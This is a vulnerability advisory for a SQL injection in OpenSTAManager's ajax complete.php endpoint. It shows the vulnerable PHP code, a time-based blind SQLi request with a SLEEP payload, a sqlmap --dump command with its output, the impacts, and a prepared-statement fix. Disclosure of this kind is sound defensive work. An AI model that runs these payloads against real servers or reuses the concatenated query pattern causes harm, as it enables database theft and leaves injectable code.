PT-2026-6494 · Packagist · Devcode-It/Openstamanager

Published

2026-02-03

·

Updated

2026-02-03

CVSS v4.0

8.7

High

VectorAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

A SQL Injection vulnerability exists in the ajax complete.php endpoint when handling the get sedi operation. An authenticated attacker can inject malicious SQL code through the idanagrafica parameter, leading to unauthorized database access.

Proof of Concept

Vulnerable Code

File: modules/anagrafiche/ajax/complete.php:28
case 'get sedi':
  $idanagrafica = get('idanagrafica');
  $q = "SELECT id, CONCAT WS( ' - ', nomesede, citta ) AS descrizione 
     FROM an sedi 
     WHERE idanagrafica='".$idanagrafica."' ...";
  $rs = $dbo->fetchArray($q);

Data Flow

  1. Source: $ GET['idanagrafica'] → get('idanagrafica')
  2. Vulnerable: User input concatenated directly into SQL query with single quotes
  3. Sink: $dbo->fetchArray($q) executes the malicious query

Exploit

Manual PoC (Time-based Blind SQLi):
GET /ajax complete.php?op=get sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
image
SQLMap Exploitation:
sqlmap -u "http://localhost:8081/ajax complete.php?op=get sedi&idanagrafica=1*" 
 --cookie="PHPSESSID=<session>" 
 --dbms=MySQL 
 --technique=T 
 --level=3 
 --dump
SQLMap Output:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF
back-end DBMS: MySQL >= 5.0.12
image

Impact

  • Data Exfiltration: Complete database extraction including user credentials, customer data, financial records
  • Privilege Escalation: Modification of zz users table to gain admin access
  • Data Integrity: Unauthorized modification or deletion of records
  • Potential RCE: Via SELECT ... INTO OUTFILE if file permissions allow

Affected Versions

  • OpenSTAManager: Verified in latest version (as of December 2025)
  • All versions using this endpoint are likely affected

Remediation

Replace direct concatenation with prepared statements:
Before:
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";
After:
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";

Credit

Discovered by: Łukasz Rybak

Fix

SQL injection

Weakness Enumeration

CWE-89

Related Identifiers

GHSA-W995-FF8H-RPPG

Affected Products

Devcode-It/Openstamanager